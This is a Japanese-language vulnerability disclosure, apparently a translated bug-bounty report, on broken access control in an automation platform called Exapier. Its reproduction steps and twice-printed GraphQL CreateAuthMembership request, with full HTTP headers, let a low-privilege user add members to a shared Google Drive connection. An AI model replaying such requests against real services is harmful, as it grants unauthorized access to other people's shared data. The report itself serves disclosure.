ソース:
脆弱性:BAC
訳:
ターゲットを理解する
Exapier は、簡単に自動化を促進するプラットフォームで、さまざまなアプリを接続してワークフローを自動化します。
Google ドライブなどの共有アプリ接続は、共同作業と効率的な運用にとって極めて重要です。
Exapier のアクセス制御の欠陥により、低レベルのユーザーが共有接続を操作できるようになります。
Google ドライブなどの接続に不正に追加すると、予期される権限に違反し、重大なセキュリティ リスクが生じます。
再現する手順:
- まず、管理者は共有アプリ (Google ドライブ) 接続に低レベルのユーザーを追加し。 後で使用できるように、このユーザー追加リクエストをキャプチャします。
- 低レベルのユーザー(攻撃者)はドライブデータなどの共有アプリにのみアクセスできますが、新しいユーザーを追加することはできません。
- ここで、攻撃者は接続設定に移動し、接続名の編集をクリックします。
- リクエストを傍受し、
POST /api/zap-management/graphql
そしてそれをリピーターに送信します。 - リピーターでは、攻撃者は最初のステップでキャプチャされたリクエストのリクエストパラメータを変更し、メンバー ID を攻撃者が追加したいユーザーに置き換えて、次の JSON を追加します。
{"operationName":"CreateAuthMembership","variables":{"id":" - adminid - ","memberId":" - user u want to add in ID - -"},"query":"fragment PrimaryAuth on Authentication {\n created\n description\n destinationSelectedApi\n id\n identifier\n isPrivate\n isShared\n isStale\n permissions {\n delete\n edit\n reconnect\n share\n test\n transfer\n __typename\n }\n selectedApi\n sharedWithAll\n title\n __typename\n}\n\nfragment SecondaryAuth on Authentication {\n destinationSelectedApiImages {\n url16X16\n url32X32\n url64X64\n url128X128\n __typename\n }\n id\n owner {\n email\n id\n imageUrl\n name\n __typename\n }\n selectedApiImages {\n url16X16\n url32X32\n url64X64\n url128X128\n __typename\n }\n sharedWith {\n … on ShareTeam {\n description\n id\n imageUrl\n memberCount\n name\n type\n __typename\n }\n … on ShareMember {\n description\n email\n id\n imageUrl\n name\n type\n __typename\n }\n __typename\n }\n zapCount\n __typename\n}\n\nfragment Auth on Authentication {\n …PrimaryAuth\n …SecondaryAuth\n __typename\n}\n\nmutation CreateAuthMembership($id: ID!, $memberId: ID!) {\n createAuthMembership(id: $id, memberId: $memberId) {\n …Auth\n __typename\n }\n}"}
6. または、攻撃者は、低レベルのユーザー アカウントで以下のリクエストを
使用することもできます。
POST /api/zap-management/graphql HTTP/2
Host: Exampier.com
Cookie:
Content-Length: 1343
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
Apollographql-Client-Name: zap-management
X-Datadog-Trace-Id: 5783957597235720807
Correlation-Id: d999c76c-516e-4eec-87a1-8a6f2063e2d4
Sec-Ch-Ua-Mobile: ?0
{"operationName":"CreateAuthMembership","variables":{"id":" - admin ID - -","memberId":" - -user ID - "},"query":"fragment PrimaryAuth on Authentication {\n created\n description\n destinationSelectedApi\n id\n identifier\n isPrivate\n isShared\n isStale\n permissions {\n delete\n edit\n reconnect\n share\n test\n transfer\n __typename\n }\n selectedApi\n sharedWithAll\n title\n __typename\n}\n\nfragment SecondaryAuth on Authentication {\n destinationSelectedApiImages {\n url16X16\n url32X32\n url64X64\n url128X128\n __typename\n }\n id\n owner {\n email\n id\n imageUrl\n name\n __typename\n }\n selectedApiImages {\n url16X16\n url32X32\n url64X64\n url128X128\n __typename\n }\n sharedWith {\n … on ShareTeam {\n description\n id\n imageUrl\n memberCount\n name\n type\n __typename\n }\n … on ShareMember {\n description\n email\n id\n imageUrl\n name\n type\n __typename\n }\n __typename\n }\n zapCount\n __typename\n}\n\nfragment Auth on Authentication {\n …PrimaryAuth\n …SecondaryAuth\n __typename\n}\n\nmutation CreateAuthMembership($id: ID!, $memberId: ID!) {\n createAuthMembership(id: $id, memberId: $memberId) {\n …Auth\n __typename\n }\n}"}
皆さんは、攻撃者が実際にどのようにしてリクエストを取得するのか疑問に思っているかもしれません。
攻撃者は、管理者権限を持つ新しいアカウントを Exampier に作成します。
彼らはユーザー追加リクエストをキャプチャし、後でそれを使用して会社を悪用し。
7. 攻撃者は変更されたリクエストを送信します。その結果、ユーザーが接続に追加
されたことを示す 200 OK レスポンスが返されます。
8. 次に、管理者アカウントの追加に移動し、ユーザーが追加されたかどうかを確認
します。
9. 攻撃者は、共有接続にユーザーを追加することに成功しました。
ほなほな。